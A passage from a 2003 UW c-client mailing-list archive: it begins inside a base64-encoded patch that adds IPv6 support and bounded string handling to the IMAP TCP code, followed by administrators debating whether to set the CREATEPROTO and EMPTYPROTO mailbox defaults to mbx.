QVAgc2VydmVyIiA6DQotCSAgICAgIiVzIHRvIElNQVAgc2VydmVyIHRpbWVk IG91dCIsKCpzZXJ2aWNlID09ICcqJykgPyAic3NoIiA6ICJyc2giKTsNCisg ICAgc25wcmludGYoIHRtcCwgc2l6ZW9mIHRtcCwgaSA/ICJlcnJvciBpbiAl cyB0byBJTUFQIHNlcnZlciIgOg0KKyAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgIiVzIHRvIElNQVAgc2VydmVyIHRpbWVkIG91dCIsDQor ICAgICAgICAgICAgICAoKnNlcnZpY2UgPT0gJyonKSA/ICJzc2giIDogInJz aCIpOw0KICAgICBtbV9sb2cgKHRtcCxXQVJOKTsNCiAgICAgdGNwX2Nsb3Nl IChzdHJlYW0pOwkJLyogcHVudCBzdHJlYW0gKi8NCiAgICAgc3RyZWFtID0g TklMOw0KQEAgLTcwMCwxMiArNjkwLDEzIEBADQogY2hhciAqdGNwX3JlbW90 ZWhvc3QgKFRDUFNUUkVBTSAqc3RyZWFtKQ0KIHsNCiAgIGlmICghc3RyZWFt LT5yZW1vdGVob3N0KSB7DQotICAgIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47 DQotICAgIGludCBzaW5sZW4gPSBzaXplb2YgKHN0cnVjdCBzb2NrYWRkcl9p bik7DQorICAgIHN0cnVjdCBzb2NrYWRkcl9zdG9yYWdlIHNhOw0KKyAgICBz b2NrbGVuX3Qgc2FsZW4gPSBzaXplb2Ygc2E7DQorDQogICAgIHN0cmVhbS0+ cmVtb3RlaG9zdCA9CS8qIGdldCBzb2NrZXQncyBwZWVyIG5hbWUgKi8NCi0g ICAgICAoZ2V0cGVlcm5hbWUgKHN0cmVhbS0+dGNwc2ksKHN0cnVjdCBzb2Nr YWRkciAqKSAmc2luLCh2b2lkICopICZzaW5sZW4pIHx8DQotICAgICAgIChz aW4uc2luX2ZhbWlseSAhPSBBRl9JTkVUKSkgPw0KLQkgY3B5c3RyIChzdHJl YW0tPmhvc3QpIDogdGNwX25hbWUgKCZzaW4sTklMKTsNCisgICAgICAoIGdl dHBlZXJuYW1lKCBzdHJlYW0tPnRjcHNpLCAoc3RydWN0IHNvY2thZGRyICop ICZzYSwgJnNhbGVuICkgfHwNCisgICAgICAgICggc2Euc3NfZmFtaWx5ICE9 IEFGX0lORVQgJiYgc2Euc3NfZmFtaWx5ICE9IEFGX0lORVQ2ICkgKSA/DQor ICAgICAgICBjcHlzdHIoIHN0cmVhbS0+aG9zdCApIDogdGNwX25hbWUoIChz dHJ1Y3Qgc29ja2FkZHIgKikgJnNhLCBOSUwgKTsNCiAgIH0NCiAgIHJldHVy biBzdHJlYW0tPnJlbW90ZWhvc3Q7DQogfQ0KQEAgLTczMCwxMyArNzIxLDE0 IEBADQogY2hhciAqdGNwX2xvY2FsaG9zdCAoVENQU1RSRUFNICpzdHJlYW0p DQogew0KICAgaWYgKCFzdHJlYW0tPmxvY2FsaG9zdCkgew0KLSAgICBzdHJ1 Y3Qgc29ja2FkZHJfaW4gc2luOw0KLSAgICBpbnQgc2lubGVuID0gc2l6ZW9m IChzdHJ1Y3Qgc29ja2FkZHJfaW4pOw0KKyAgICBzdHJ1Y3Qgc29ja2FkZHJf c3RvcmFnZSBzYTsNCisgICAgc29ja2xlbl90IHNhbGVuID0gc2l6ZW9mIHNh Ow0KKw0KICAgICBzdHJlYW0tPmxvY2FsaG9zdCA9CQkvKiBnZXQgc29ja2V0 J3MgbmFtZSAqLw0KICAgICAgICgoc3RyZWFtLT5wb3J0ICYgMHhmZmZmMDAw KSB8fA0KLSAgICAgICBnZXRzb2NrbmFtZSAoc3RyZWFtLT50Y3BzaSwoc3Ry dWN0IHNvY2thZGRyICopICZzaW4sKHZvaWQgKikgJnNpbmxlbikgfHwNCi0g ICAgICAgKHNpbi5zaW5fZmFtaWx5ICE9IEFGX0lORVQpKSA/DQotCSBjcHlz dHIgKG15bG9jYWxob3N0ICgpKSA6IHRjcF9uYW1lICgmc2luLE5JTCk7DQor ICAgICAgICBnZXRzb2NrbmFtZSggc3RyZWFtLT50Y3BzaSwgKHN0cnVjdCBz b2NrYWRkciAqKSAmc2EsICZzYWxlbiApIHx8DQorICAgICAgICAoIHNhLnNz X2ZhbWlseSAhPSBBRl9JTkVUICYmIHNhLnNzX2ZhbWlseSAhPSBBRl9JTkVU NiApICkgPw0KKyAgICAgICAgY3B5c3RyKCBteWxvY2FsaG9zdCAoKSApIDog dGNwX25hbWUoIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNhLCBOSUwgKTsNCiAg IH0NCiAgIHJldHVybiBzdHJlYW0tPmxvY2FsaG9zdDsJLyogcmV0dXJuIGxv Y2FsIGhvc3QgbmFtZSAqLw0KIH0NCkBAIC03NTAsMTIgKzc0MiwxNCBAQA0K IGNoYXIgKnRjcF9jbGllbnRhZGRyICgpDQogew0KICAgaWYgKCFteUNsaWVu dEFkZHIpIHsNCi0gICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCi0gICAg aW50IHNpbmxlbiA9IHNpemVvZiAoc3RydWN0IHNvY2thZGRyX2luKTsNCisg ICAgc3RydWN0IHNvY2thZGRyX3N0b3JhZ2Ugc2E7DQorICAgIHNvY2tsZW5f dCBzYWxlbiA9IHNpemVvZiBzYTsNCisNCiAgICAgbXlDbGllbnRBZGRyID0J CS8qIGdldCBzdGRpbidzIHBlZXIgbmFtZSAqLw0KLSAgICAgIGNweXN0ciAo Z2V0cGVlcm5hbWUgKDAsKHN0cnVjdCBzb2NrYWRkciAqKSAmc2luLCh2b2lk ICopICZzaW5sZW4pID8NCi0JICAgICAgIlVOS05PV04iIDogKChzaW4uc2lu X2ZhbWlseSA9PSBBRl9JTkVUKSA/DQotCQkJICAgaW5ldF9udG9hIChzaW4u c2luX2FkZHIpIDogIk5PTi1JUHY0IikpOw0KKyAgICAgIGNweXN0ciggZ2V0 cGVlcm5hbWUoIDAsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNhLCAmc2FsZW4g KSA/DQorICAgICAgICAgICAgICAiVU5LTk9XTiIgOiAoICggc2Euc3NfZmFt aWx5ID09IEFGX0lORVQgfHwNCisgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICBzYS5zc19mYW1pbHkgPT0gQUZfSU5FVDYgKSA/DQorICAgICAgICAg ICAgICAgICAgICAgICAgICAgIHNvY2t0b3AgKCAoc3RydWN0IHNvY2thZGRy ICopICZzYSApIDogIk5PTi1JUCIgKSApOw0KICAgfQ0KICAgcmV0dXJuIG15 Q2xpZW50QWRkcjsNCiB9DQpAQCAtNzcwLDEyICs3NjQsMTUgQEANCiBjaGFy ICp0Y3BfY2xpZW50aG9zdCAoKQ0KIHsNCiAgIGlmICghbXlDbGllbnRIb3N0 KSB7DQotICAgIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQotICAgIGludCBz aW5sZW4gPSBzaXplb2YgKHN0cnVjdCBzb2NrYWRkcl9pbik7DQorICAgIHN0 cnVjdCBzb2NrYWRkcl9zdG9yYWdlIHNhOw0KKyAgICBzb2NrbGVuX3Qgc2Fs ZW4gPSBzaXplb2Ygc2E7DQorDQogICAgIG15Q2xpZW50SG9zdCA9CQkvKiBn ZXQgc3RkaW4ncyBwZWVyIG5hbWUgKi8NCi0gICAgICBnZXRwZWVybmFtZSAo MCwoc3RydWN0IHNvY2thZGRyICopICZzaW4sKHZvaWQgKikgJnNpbmxlbikg Pw0KLQljcHlzdHIgKCJVTktOT1dOIikgOiAoKHNpbi5zaW5fZmFtaWx5ID09 IEFGX0lORVQpID8NCi0JCQkgICAgICB0Y3BfbmFtZSAoJnNpbixUKSA6IGNw eXN0ciAoIk5PTi1JUHY0IikpOw0KKyAgICAgIGdldHBlZXJuYW1lKCAwLCAo c3RydWN0IHNvY2thZGRyICopICZzYSwgJnNhbGVuICkgPw0KKyAgICAgICAg Y3B5c3RyKCJVTktOT1dOIikgOiAoICggc2Euc3NfZmFtaWx5ID09IEFGX0lO RVQgfHwNCisgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNhLnNz X2ZhbWlseSA9PSBBRl9JTkVUNiApID8NCisgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICB0Y3BfbmFtZSAoIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNh LCBUICkgOg0KKyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNweXN0 ciggIk5PTi1JUCIgKSApOw0KICAgfQ0KICAgcmV0dXJuIG15Q2xpZW50SG9z dDsNCiB9DQpAQCAtNzg5LDEyICs3ODYsMTQgQEANCiBjaGFyICp0Y3Bfc2Vy dmVyYWRkciAoKQ0KIHsNCiAgIGlmICghbXlTZXJ2ZXJBZGRyKSB7DQotICAg IHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQotICAgIGludCBzaW5sZW4gPSBz aXplb2YgKHN0cnVjdCBzb2NrYWRkcl9pbik7DQorICAgIHN0cnVjdCBzb2Nr YWRkcl9zdG9yYWdlIHNhOw0KKyAgICBzb2NrbGVuX3Qgc2FsZW4gPSBzaXpl b2Ygc2E7DQorDQogICAgIG15U2VydmVyQWRkciA9CQkvKiBnZXQgc3RkaW4n cyBwZWVyIG5hbWUgKi8NCi0gICAgICBjcHlzdHIgKGdldHNvY2tuYW1lICgw LChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwodm9pZCAqKSAmc2lubGVuKSA/ DQotCSAgICAgICJVTktOT1dOIiA6ICgoc2luLnNpbl9mYW1pbHkgPT0gQUZf SU5FVCkgPw0KLQkJCSAgIGluZXRfbnRvYSAoc2luLnNpbl9hZGRyKSA6ICJO T04tSVB2NCIpKTsNCisgICAgICBjcHlzdHIoIGdldHNvY2tuYW1lKCAwLCAo c3RydWN0IHNvY2thZGRyICopICZzYSwgJnNhbGVuICkgPw0KKyAgICAgICAg ICAgICAgIlVOS05PV04iIDogKCAoIHNhLnNzX2ZhbWlseSA9PSBBRl9JTkVU IHx8DQorICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc2Euc3NfZmFt aWx5ID09IEFGX0lORVQ2ICkgPw0KKyAgICAgICAgICAgICAgICAgICAgICAg ICAgICBzb2NrdG9wKCAoc3RydWN0IHNvY2thZGRyICopICZzYSApIDogIk5P Ti1JUCIgKSApOw0KICAgfQ0KICAgcmV0dXJuIG15U2VydmVyQWRkcjsNCiB9 DQpAQCAtODEwLDE0ICs4MDksMjYgQEANCiBjaGFyICp0Y3Bfc2VydmVyaG9z dCAoKQ0KIHsNCiAgIGlmICghbXlTZXJ2ZXJIb3N0KSB7DQorICAgIHVuaW9u IHsNCisgICAgICBzdHJ1Y3Qgc29ja2FkZHJfc3RvcmFnZSBzczsNCiAgICAg c3RydWN0IHNvY2thZGRyX2luIHNpbjsNCi0gICAgaW50IHNpbmxlbiA9IHNp emVvZiAoc3RydWN0IHNvY2thZGRyX2luKTsNCisgICAgICBzdHJ1Y3Qgc29j a2FkZHJfaW42IHNpbjY7DQorICAgIH0gc2E7DQorICAgIHNvY2tsZW5fdCBz YWxlbiA9IHNpemVvZiBzYTsNCisNCiAJCQkJLyogZ2V0IHN0ZGluJ3MgbmFt ZSAqLw0KLSAgICBpZiAoZ2V0c29ja25hbWUgKDAsKHN0cnVjdCBzb2NrYWRk ciAqKSAmc2luLCh2b2lkICopICZzaW5sZW4pIHx8DQotCShzaW4uc2luX2Zh bWlseSAhPSBBRl9JTkVUKSkgbXlTZXJ2ZXJIb3N0ID0gY3B5c3RyIChteWxv Y2FsaG9zdCAoKSk7DQorICAgIGlmICggZ2V0c29ja25hbWUoIDAsIChzdHJ1 Y3Qgc29ja2FkZHIgKikgJnNhLCAmc2FsZW4gKSApDQorICAgICAgbXlTZXJ2 ZXJIb3N0ID0gY3B5c3RyKCBteWxvY2FsaG9zdCgpICk7DQogICAgIGVsc2Ug ew0KLSAgICAgIG15U2VydmVySG9zdCA9IHRjcF9uYW1lICgmc2luLE5JTCk7 DQotICAgICAgbXlTZXJ2ZXJQb3J0ID0gbnRvaHMgKHNpbi5zaW5fcG9ydCk7 DQorICAgICAgaWYgKCBzYS5zcy5zc19mYW1pbHkgPT0gQUZfSU5FVCApIHsN CisgICAgICAgIG15U2VydmVySG9zdCA9IHRjcF9uYW1lKCAoc3RydWN0IHNv Y2thZGRyICopICZzYSwgVCApOw0KKyAgICAgICAgbXlTZXJ2ZXJQb3J0ID0g bnRvaHMoIHNhLnNpbi5zaW5fcG9ydCApOw0KKyAgICAgIH0NCisgICAgICBl bHNlIGlmICggc2Euc3Muc3NfZmFtaWx5ID09IEFGX0lORVQ2ICkgew0KKyAg ICAgICAgbXlTZXJ2ZXJIb3N0ID0gdGNwX25hbWUoIChzdHJ1Y3Qgc29ja2Fk ZHIgKikgJnNhLCBUICk7DQorICAgICAgICBteVNlcnZlclBvcnQgPSBudG9o cyggc2Euc2luNi5zaW42X3BvcnQgKTsNCisgICAgICB9DQorICAgICAgZWxz ZSBteVNlcnZlckhvc3QgPSBjcHlzdHIoIG15bG9jYWxob3N0KCkgKTsNCiAg ICAgfQ0KICAgfQ0KICAgcmV0dXJuIG15U2VydmVySG9zdDsNCkBAIC04NTAs MTEgKzg2MSwxMSBAQA0KICAgKCpibikgKEJMT0NLX0ROU0xPT0tVUCxOSUwp OwkvKiBxdWVsbCBhbGFybXMgKi8NCiAgIGRhdGEgPSAoKmJuKSAoQkxPQ0tf U0VOU0lUSVZFLE5JTCk7DQogICBpZiAodGNwZGVidWcpIHsNCi0gICAgc3By aW50ZiAoaG9zdCwiRE5TIGNhbm9uaWNhbGl6YXRpb24gJS44MHMiLG5hbWUp Ow0KKyAgICBzbnByaW50ZiggaG9zdCwgc2l6ZW9mIGhvc3QsICJETlMgY2Fu b25pY2FsaXphdGlvbiAlLjgwcyIsIG5hbWUgKTsNCiAgICAgbW1fbG9nICho b3N0LFRDUERFQlVHKTsNCiAgIH0NCiAJCQkJLyogbm90ZSB0aGF0IFVuaXgg cmVxdWlyZXMgbG93ZXJjYXNlISAqLw0KLSAgcmV0ID0gKGhlID0gZ2V0aG9z dGJ5bmFtZSAobGNhc2UgKHN0cmNweSAoaG9zdCxuYW1lKSkpKSA/DQorICBy ZXQgPSAoIGhlID0gZ2V0aG9zdGJ5bmFtZSggbGNhc2UoIHN0cm5jcHkoIGhv c3QsIG5hbWUsIHNpemVvZiBob3N0ICkgKSApICkgPw0KICAgICAoY2hhciAq KSBoZS0+aF9uYW1lIDogbmFtZTsNCiAgICgqYm4pIChCTE9DS19OT05TRU5T SVRJVkUsZGF0YSk7DQogICAoKmJuKSAoQkxPQ0tfTk9ORSxOSUwpOwkvKiBh bGFybXMgT0sgbm93ICovDQpAQCAtODY5LDMyICs4ODAsNTMgQEANCiAgKiBS ZXR1cm5zOiBjcHlzdHIgbmFtZQ0KICAqLw0KIA0KLWNoYXIgKnRjcF9uYW1l IChzdHJ1Y3Qgc29ja2FkZHJfaW4gKnNpbixsb25nIGZsYWcpDQorY2hhciAq dGNwX25hbWUoIHN0cnVjdCBzb2NrYWRkciAqc2EsIGxvbmcgZmxhZyApDQog ew0KICAgY2hhciAqcyx0bXBbTUFJTFRNUExFTl07DQorDQogICBpZiAoYWxs b3dyZXZlcnNlZG5zKSB7DQogICAgIHN0cnVjdCBob3N0ZW50ICpoZTsNCiAg ICAgYmxvY2tub3RpZnlfdCBibiA9IChibG9ja25vdGlmeV90KW1haWxfcGFy YW1ldGVycyhOSUwsR0VUX0JMT0NLTk9USUZZLE5JTCk7DQogICAgIHZvaWQg KmRhdGE7DQorDQogICAgIGlmICh0Y3BkZWJ1Zykgew0KLSAgICAgIHNwcmlu dGYgKHRtcCwiUmV2ZXJzZSBETlMgcmVzb2x1dGlvbiBbJXNdIixpbmV0X250 b2EgKHNpbi0+c2luX2FkZHIpKTsNCisgICAgICBzbnByaW50ZiggdG1wLCBz aXplb2YgdG1wLCAiUmV2ZXJzZSBETlMgcmVzb2x1dGlvbiBbJXNdIiwNCisg ICAgICAgICAgICAgICAgc29ja3RvcCggc2EgKSApOw0KICAgICAgIG1tX2xv ZyAodG1wLFRDUERFQlVHKTsNCiAgICAgfQ0KKw0KICAgICAoKmJuKSAoQkxP Q0tfRE5TTE9PS1VQLE5JTCk7IC8qIHF1ZWxsIGFsYXJtcyAqLw0KICAgICBk YXRhID0gKCpibikgKEJMT0NLX1NFTlNJVElWRSxOSUwpOw0KKw0KIAkJCQkv KiB0cmFuc2xhdGUgYWRkcmVzcyB0byBuYW1lICovDQotICAgIGlmICghKGhl ID0gZ2V0aG9zdGJ5YWRkciAoKGNoYXIgKikgJnNpbi0+c2luX2FkZHIsDQot CQkJICAgICAgc2l6ZW9mIChzdHJ1Y3QgaW5fYWRkciksc2luLT5zaW5fZmFt aWx5KSkgfHwNCi0JIXRjcF9uYW1lX3ZhbGlkICgoY2hhciAqKSBoZS0+aF9u YW1lKSkNCi0gICAgICBzcHJpbnRmIChzID0gdG1wLCJbJXNdIixpbmV0X250 b2EgKHNpbi0+c2luX2FkZHIpKTsNCi0gICAgZWxzZSBpZiAoZmxhZykgc3By aW50ZiAocyA9IHRtcCwiJXMgWyVzXSIsaGUtPmhfbmFtZSwNCi0JCQkgICAg aW5ldF9udG9hIChzaW4tPnNpbl9hZGRyKSk7DQorICAgIGlmICggc2EtPnNh X2ZhbWlseSA9PSBBRl9JTkVUICkgew0KKyAgICAgIHN0cnVjdCBzb2NrYWRk cl9pbiAqc2luID0gKHZvaWQgKikgc2E7DQorICAgICAgaGUgPSBnZXRob3N0 YnlhZGRyKCAoY2hhciAqKSAmc2luLT5zaW5fYWRkciwNCisgICAgICAgICAg ICAgICAgICAgICAgICAgIHNpemVvZiAoc3RydWN0IGluX2FkZHIpLCBBRl9J TkVUICk7DQorICAgIH0NCisgICAgZWxzZSBpZiAoIHNhLT5zYV9mYW1pbHkg PT0gQUZfSU5FVDYgKSB7DQorICAgICAgc3RydWN0IHNvY2thZGRyX2luNiAq c2luNiA9ICh2b2lkICopIHNhOw0KKyAgICAgIGhlID0gZ2V0aG9zdGJ5YWRk ciggKGNoYXIgKikgJnNpbjYtPnNpbjZfYWRkciwNCisgICAgICAgICAgICAg ICAgICAgICAgICAgIHNpemVvZiAoc3RydWN0IGluNl9hZGRyKSwgQUZfSU5F VDYgKTsNCisgICAgfQ0KKyAgICBlbHNlIGhlID0gTlVMTDsNCisNCisgICAg aWYgKCAhIGhlIHx8ICEgdGNwX25hbWVfdmFsaWQoIChjaGFyICopIGhlLT5o X25hbWUgKSApDQorICAgICAgc25wcmludGYoIHMgPSB0bXAsIHNpemVvZiB0 bXAsICJbJXNdIiwgc29ja3RvcCggc2EgKSApOw0KKw0KKyAgICBlbHNlIGlm IChmbGFnKSBzbnByaW50ZiggcyA9IHRtcCwgc2l6ZW9mIHRtcCwgIiVzIFsl c10iLCBoZS0+aF9uYW1lLA0KKyAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgc29ja3RvcCggc2EgKSApOw0KKw0KICAgICBlbHNlIHMgPSAoY2hhciAq KSBoZS0+aF9uYW1lOw0KKw0KICAgICAoKmJuKSAoQkxPQ0tfTk9OU0VOU0lU SVZFLGRhdGEpOw0KICAgICAoKmJuKSAoQkxPQ0tfTk9ORSxOSUwpOwkvKiBh bGFybXMgT0sgbm93ICovDQorDQogICAgIGlmICh0Y3BkZWJ1ZykgbW1fbG9n ICgiUmV2ZXJzZSBETlMgcmVzb2x1dGlvbiBkb25lIixUQ1BERUJVRyk7DQog ICB9DQotICBlbHNlIHNwcmludGYgKHMgPSB0bXAsIlslc10iLGluZXRfbnRv YSAoc2luLT5zaW5fYWRkcikpOw0KKw0KKyAgZWxzZSBzbnByaW50ZiggcyA9 IHRtcCwgc2l6ZW9mIHRtcCwgIlslc10iLCBzb2NrdG9wKCBzYSApICk7DQor DQogICByZXR1cm4gY3B5c3RyIChzKTsNCiB9DQogDQpAQCAtOTA3LDggKzkz OSwyOSBAQA0KIGxvbmcgdGNwX25hbWVfdmFsaWQgKGNoYXIgKnMpDQogew0K ICAgaW50IGM7DQotICB3aGlsZSAoYyA9ICpzKyspCQkvKiBtdXN0IGJlIGFs bnVtLCBkb3QsIG9yIGh5cGhlbiAqLw0KKyAgd2hpbGUgKGMgPSAqcysrKQkJ LyogbXVzdCBiZSBhbG51bSwgZG90LCBjb2xvbiwgb3IgaHlwaGVuICovDQog ICAgIGlmICghKChjID49ICdBJykgJiYgKGMgPD0gJ1onKSkgJiYgISgoYyA+ PSAnYScpICYmIChjIDw9ICd6JykpICYmDQotCSEoKGMgPj0gJzAnKSAmJiAo YyA8PSAnOScpKSAmJiAoYyAhPSAnLScpICYmIChjICE9ICcuJykpIHJldHVy biBOSUw7DQorCSEoKGMgPj0gJzAnKSAmJiAoYyA8PSAnOScpKSAmJiAoYyAh PSAnLScpICYmIChjICE9ICcuJykgJiYNCisgICAgICAgIChjICE9ICc6Jykp IHJldHVybiBOSUw7DQogICByZXR1cm4gTE9OR1Q7DQorfQ0KKw0KKy8qIEdl dCBhIHByaW50YWJsZSBhZGRyZXNzIGZyb20gYSBzb2NrZXQgYWRkcmVzcyBz dHJ1Y3R1cmUuDQorICogUmV0dXJucyBhIHBvaW50ZXIgdG8gdGhlIHByaW50 YWJsZSBhZGRyZXNzIG9yIE5VTEwuDQorICovDQorDQorY2hhciAqc29ja3Rv cCggc3RydWN0IHNvY2thZGRyICpzYSApIHsNCisgIHN0YXRpYyBjaGFyIHN0 cltJTkVUNl9BRERSU1RSTEVOXTsNCisgIHNvY2tsZW5fdCBzdHJsZW4gPSBz aXplb2Ygc3RyOw0KKw0KKyAgaWYgKCBzYS0+c2FfZmFtaWx5ID09IEFGX0lO RVQgKSB7DQorICAgIHN0cnVjdCBzb2NrYWRkcl9pbiAqc2luID0gKHZvaWQg Kikgc2E7DQorICAgIHJldHVybiAoY2hhciAqKSBpbmV0X250b3AoIEFGX0lO RVQsICZzaW4tPnNpbl9hZGRyLCBzdHIsIHN0cmxlbiApOw0KKyAgfQ0KKyAg ZWxzZSBpZiAoIHNhLT5zYV9mYW1pbHkgPT0gQUZfSU5FVDYgKSB7DQorICAg IHN0cnVjdCBzb2NrYWRkcl9pbjYgKnNpbjYgPSAodm9pZCAqKSBzYTsNCisg ICAgcmV0dXJuIChjaGFyICopIGluZXRfbnRvcCggQUZfSU5FVDYsICZzaW42 LT5zaW42X2FkZHIsIHN0ciwgc3RybGVuICk7DQorICB9DQorICByZXR1cm4g TlVMTDsNCisNCiB9DQo= --1465796871-1898278407-1071005111=:17098-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Dec 9 22:38:23 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 9 Dec 2003 22:38:23 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBA6cNUF003262 for ; Tue, 9 Dec 2003 22:38:23 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBA6cL72001655 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 9 Dec 2003 22:38:22 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hBA6bJop012652; Tue, 9 Dec 2003 22:37:19 -0800 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBA6aFuL023230 for ; Tue, 9 Dec 2003 22:36:16 -0800 Received: from server07.icaen.uiowa.edu (server07.icaen.uiowa.edu [128.255.17.47]) by mxu5.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBA6aEbc001505 for ; Tue, 9 Dec 2003 22:36:14 -0800 Received: from server11.icaen.uiowa.edu (server11.icaen.uiowa.edu [128.255.17.51]) by server07.icaen.uiowa.edu (8.9.3/8.9.3) with ESMTP id AAA13931 sent by ; Wed, 10 Dec 2003 00:36:09 -0600 (CST) Received: from d-is00.icaen.uiowa.edu ([128.255.17.30]) by server11.icaen.uiowa.edu (8.12.6/smtp-service-1.6) with ESMTP id hBA6a8g7022053; sent by ; Wed, 10 Dec 2003 00:36:08 -0600 (CST) Received: (from dbfunk@localhost) by d-is00.icaen.uiowa.edu (8.9.3/client-6.6) id AAA29488; Wed, 10 Dec 2003 00:36:08 -0600 (CST) Message-Id: Date: Wed, 10 Dec 2003 00:36:07 -0600 (CST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: David B Funk To: Nick Hodulik Cc: Sebastian Hagedorn , Subject: Re: mailbox format problems In-Reply-To: <003001c3be8a$71c27700$6501a8c0@winbitch> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, SIGNATURE_SHORT_DENSE 0, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 9 Dec 2003, Nick Hodulik wrote: > There is a way. You have to dig down into the code and change "CREATEPROTO" > and "EMPTYPROTO" from mbox to mbx. Assuming your in *nix you'll have to go > to src/osdep/unix/env_unix.c or something similar to do this. If you want > mail to live in a subdirectory called "mail" in each users home dir then you > must change src/osdep/unix/Makefile to reflect this as well. Before you tell people to do this, you might want to go read the documentation to find out why setting EMPTYPROTO to "mbx" is meaningless and wrong. Dave -- Dave Funk University of Iowa College of Engineering 319/335-5751 FAX: 319/384-0549 1256 Seamans Center Sys_admin/Postmaster/cell_admin Iowa City, IA 52242-1527 #include Better is not better, 'standard' is better. B{ From pinedev@shivax2.cac.washington.edu Wed Dec 10 10:25:05 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 10 Dec 2003 10:25:05 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBAIP5UF027775 for ; Wed, 10 Dec 2003 10:25:05 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBAIP3lp027079 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 10 Dec 2003 10:25:03 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hBAINGAk013584; Wed, 10 Dec 2003 10:23:16 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBAIMJuL029610 for ; Wed, 10 Dec 2003 10:22:19 -0800 Received: from smtp02.mrf.mail.rcn.net (smtp02.mrf.mail.rcn.net [207.172.4.61]) by mxu1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBAIMHf0023956 for ; Wed, 10 Dec 2003 10:22:17 -0800 Received: from 64-121-199-40.c3-0.sfpo-ubr8.sfrn-sfpo.ca.cable.rcn.com ([64.121.199.40] helo=winbitch) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #4) id 1AU8yT-0006CB-00; Wed, 10 Dec 2003 13:22:13 -0500 Message-Id: <00d501c3bf4a$85cdad80$6501a8c0@winbitch> Date: Wed, 10 Dec 2003 10:22:07 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Nick Hodulik" To: "David B Funk" Cc: "Sebastian Hagedorn" , Subject: Re: mailbox format problems References: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Uwash-Spam: Gauge=XI, Probability=11%, Report='PRIORITY_NO_NAME 0.716, QUOTED_EMAIL_TEXT 0, REFERENCES 0.000' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I do this not because it actually _does_ anything but because I don't want any trace of mbox anywhere on my system. I also delete all traces of "mbox" from the driver list. Just because it is meaningless does not mean it's wrong, AFAIK. What would be wrong for me would be creating an mbox mailbox. We had so many problems with mbox at my last large installation of UW-IMAP that I want it nowhere near my servers. >From what I can tell setting EMPTYPROTO to mbx is in fact meaningless but won't hurt anything and will achieve my goal of removing mbox. I've run it for four years or so with no ill effects. Someone care to comment? n ----- Original Message ----- From: "David B Funk" To: "Nick Hodulik" Cc: "Sebastian Hagedorn" ; Sent: Tuesday, December 09, 2003 10:36 PM Subject: Re: mailbox format problems > On Tue, 9 Dec 2003, Nick Hodulik wrote: > > > There is a way. You have to dig down into the code and change "CREATEPROTO" > > and "EMPTYPROTO" from mbox to mbx. Assuming your in *nix you'll have to go > > to src/osdep/unix/env_unix.c or something similar to do this. If you want > > mail to live in a subdirectory called "mail" in each users home dir then you > > must change src/osdep/unix/Makefile to reflect this as well. > > Before you tell people 